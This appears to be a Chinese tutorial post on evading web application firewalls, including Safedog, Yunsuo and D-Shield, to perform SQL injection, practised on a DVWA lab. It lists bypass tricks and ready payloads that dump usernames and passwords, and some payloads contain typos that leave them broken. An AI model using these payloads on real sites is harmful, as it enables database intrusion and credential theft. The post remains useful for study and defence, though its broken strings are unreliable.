sql各種姿勢繞waf
阿新 • • 發佈:2020-08-10
sql語句waf繞過
什麼是waf
waf是專門針對Web應用的防火牆,屬於細分領域的針對性防火牆
攻擊特點:
攻擊二象性:已知攻擊與未知攻擊
攻擊維度:形式與漏洞
waf核心原理:
運用黑、白思想
特徵匹配、漏洞簽名
對匹配結果進行響應(攔截、記錄)
waf主流產品形態
雲WAF
1.阿里雲盾
2.騰訊網站管家
3.創宇盾
4.CloudFlare等
軟體產品類
安全狗
雲鎖
360主機衛士
ModSecurity等
硬體裝置類
啟明星辰
綠盟
天融信
飛塔等
waf的部署模式
# 基於DNS解析 修改DNS,讓域名解析到反向代理伺服器,所有流量經過反向代理進行檢測,檢測無問題之後再轉發給後端的Web伺服器 使用者端瀏覽器->DNS解析->xx雲WAF->WEB伺服器 # 串聯模式 反向代理模式、透明代理模式。反向代理模式會改變原有網路拓撲,真實客戶端IP會以http header傳至後端WEB server 。透明代理模式可以在不改變原有網路拓撲結構的情況下直接部署 反向代理:提前配置好域名和目的伺服器轉發規則 在站點和規則較多的情況下 轉發規則等配置較複雜 透明代理模式:監控tcp連線 在使用者無感知的情況下代理會話 基於橋模式進行轉發。從web客戶端的角度來看,web客戶端仍是直接訪問伺服器。特點是:對網路的改動最小,可以實現零配置部署 # 旁路模式 利用流量映象技術,將業務流量分流給WAF產品,這種部署模式的優點是不會影響業務的穩定性所以waf會投入更多的效能在檢出率上面 缺點 不借助其他手段無法對檢測出的行為進行阻斷 流量只進不出 特點:在waf出故障的情況下 不影響業務的連續性,需要聯動其他裝置來下發阻斷策略 # 軟體嵌入中介軟體+檢測引擎模式 在使用Ngainx作為反向代理的業務下,WAF提供Ngainx模組嵌入原有Nginx,將請求轉發給檢測引擎,可以做到在不改動原有網路拓撲的情況下完成檢測任務
waf繞過原理
安全與業務效能不可兼得
WAF為了考慮通用性的問題 ,無法覆蓋100%某些語言、中介軟體、資料庫的特性
硬體waf自身往往存在漏洞
waf繞過角度
架構 :基於DNS解析
規則缺陷/特性:類似正則匹配 資料庫特性 中介軟體特性
協議:HTTP0.9版本 TCP長連線
架構層面
尋找真實伺服器IP 雲WAF是通過修改DNS解析來隱藏了真實ip 查詢域名歷史解析記錄 利用郵件傳送功能中的源地址 域名歷史解析<https://community.riskiq.com/search> 利用畸形資料包繞過(硬體waf) 超長資料包(資源大小限制) 畸形協議,如HTTP不同的請求方法汙染、多個同樣的頭部 這種情況主要是讓硬體WAF產生硬體BYPASS,流量直接轉發給後端伺服器 利用waf的SSl 缺陷 WAF對某些SSL演算法的不支援 如 YLSv1 256 bits ECDHE-RSA-AES256-SHA 旁路模式中有效
規則缺陷/特性
特殊的百分號 環境:僅在IIS+ASP UNICODE編碼 IIS支援Unicode編碼字元的解析,對於select中的字元進行unicode編碼,可以得到如下的s%u006c%u0006tct 這種字元在IIS接收到後被轉換為select,但是對於WAF層 可能接收到的內容還是s%u006c%u0006tct 這樣就會形成bypass的可能 字元 Unicode編碼 a %u0000 %u0041 %u0061 %u00aa %u00e2 ' %u0027 %u02b9 %u02bc %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7 HPP(HTTP引數汙染) 當查詢字串多次出現同一個key時 根據容器不同會得到不同的結果 例如GET提交:id=123&id=456 | iis+aps/asp.net | id=123,456 payload:id=-1 union+select+username,password/*&id=*/from+admin+limit 1 id=-1 union+select+username,password/*&id=*/from+admin+limit 1->waf規則匹配不上->IIS+ASP/ASPX(WEB伺服器)->id=-1 union+select+username,password/*&id=*/from+admin+limit 1 ->資料庫->select id,contents from news where id=-1 union select usename,password from admin limit 1 APS/IIS part1=val1,val2 PHP/APACHE par1=val2 jsp,servlet/apache tomocat par1=val1 畸形method 某些WAF在處理資料的時候嚴格按照GET、POST等標準HTTP方法來獲取資料,或者採用正則匹配的方式來處理資料,可能因為WAF和WEB服務解析的前後不對等繞過WAF 存在環境:Apache 2.x 某些apache版本在做GET請求的時候,無論method為何值均會取出GET的內容 把GET替換成任意字母 引數數量限制 WAF在實際環境中為防止拒絕服務式攻擊 預設最多解析前100個請求引數,更多的引數將直接忽略 存在環境:Nginx+Lua WAF 變換請求方式 假如php裡使用$_REQUEST獲取引數,那麼php獲取引數的預設優先順序是 $_COOKIE>$_POST>$_GET 此時WAF層只過濾get/post 但沒有過濾cookie 於是導致了繞過 存在環境:PHP urlencode和form-data轉換 POST在提交資料的時候有兩種方式,第一種方式是使用urlencode的方式提交,第二種方式是使用form-data的方式提交.使用form-data的方式去提交可以繞過某些WAF,如第一節課中的例項就利用到了該方法. D盾BYPASS MSSQL資料庫注入 MSSQL特性 select id,contents,time from news where news_id=1 (1) union (2) select (3) 1,2,db_name() (4) from (5) admin 位置1 可利用其他控制字元替換空格:%01~%F、%11~%1F 可利用註釋符號:/**/ 可利用數字運算以及資料型別 news_id=1.1,news_id=1e0,news_id=1-1 位置2 可利用其他控制字元替換空格:%01~%0F、%11~%1F 可利用註釋符號:/**/ 可利用冒號:union:select 位置3 可利用其他控制字元替換空格:%01~%0F、%11~%1F 可利用註釋符號:/**/ 可利用其他符號:+、-、~、:、. 位置4 可利用其他控制字元替換空格:%01~%0F、%11~%1F 可利用註釋符號:/**/ 可利用其他字元:%80~%FF 位置5 可利用其他控制字元替換空格:%01~%0F、%11~%1F 可利用註釋符號:/**/ 可利用冒號:union:select 可利用其他字元::、.、%80~%FF D盾不攔截COOKIE 變換請求
繞過安全狗
所謂的BYPASS WAF實際上是去尋找位於WAF裝置之後處理應用層資料包的硬體/軟體的特性。利用特性構造WAF不能命中,但是在應用程式能夠執行的payload 繞過防護
環境:安全狗Apache最新版+apache2.4+Windows
靶場:DVWA
1.超長資料包BYPASS
GET型請求轉POST型
Content-Length長度大於4008
正常引數放置在髒資料後面,否則無效
2.空格替換BYPASS
拒絕傳統的%20 使用%09 %0a %0b %08....
GET型請求轉POST型
payload=1'--%0d%0aunion--%d%0aselect+null.concat_ws(char(32,58,32),user,password)--+%0afrom--+%0ausers+#
3.協議轉換BYPASS
使用表單請求中的multipart/form-data
關鍵詞換行
payload:轉換Content-Type:multipart/form-data;boundary=-----xxxxxx
------xxxx
Content-Disposition:name="id"
1' union
select
null,
concat_ws(char(32,58,32),user,password)
from users#
繞過雲鎖WAF
雲鎖WAF特性
WAF資源限制角度
假如HTTP請求POST BODY太大,檢測所有的內容,WAF叢集消耗太大的CPU、記憶體資源。因此許多WAF只檢測前面2M或4M的內容,對於攻擊者而言 只需要在POST BODY前面新增許多無用資料,把攻擊PAYLOAD放在最後即可繞過WAF檢測
Urlencode特性
HTML5 URL編碼
BYPASS雲鎖 MYSQL資料庫注入
MYSQL特性
select id,contents,time from news where news_id=1 (1) union (2) select (3) 1,2,db_name() (4) from (5) admin
位置1
可利用其他控制字元替換空格:%09,%0a,%0b,%0c,%od,%20,%a0
可利用註釋符號:/** /、#test%0d%0a、--+a
可利用數學運算以及資料型別:news_id=1.1,news_id=1E0,news_id=\N
位置2
可利用其他控制字元替換空格:%09,%0a,%0b,%0c,%od,%20,%a0
可利用註釋符號:/** /、#test%0d%0a、--+a
可利用括號:union(select 1,2)
位置3
可利用其他控制字元替換空格:%09,%0a,%0b,%0c,%od,%20,%a0
可利用註釋符號:/** /、#test%0d%0a、--+a
可利用其他符號:+、-、~、!、@
位置4
可利用其他控制字元替換空格:%09,%0a,%0b,%0c,%od,%20,%a0
可利用註釋符號:/** /、#test%0d%0a、--+a
可利用數學運算以及資料型別:
union select user(),2.0 from admin
union select user(),8e0from admin
union select user(),\Nfrom admin
位置5
可利用其他控制字元替換空格:%09,%0a,%0b,%0c,%od,%20,%a0
可利用註釋符號:/** /、#test%0d%0a、--+a
`號 : unoion select 1 schema_name from `information_schema`.SCHEMATA limit 0,1)
內聯註釋:union select
1,(select(schema_name)from/*!12345information_schema.SCHEMATA*/limit 0,1)
{號: id=1 union select 1,(select(schema_name)from{x information_schema.SCHEMATA}limit 0,1)
(號 id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA)limit 0,1)
資源限制長度繞雲鎖 通殺!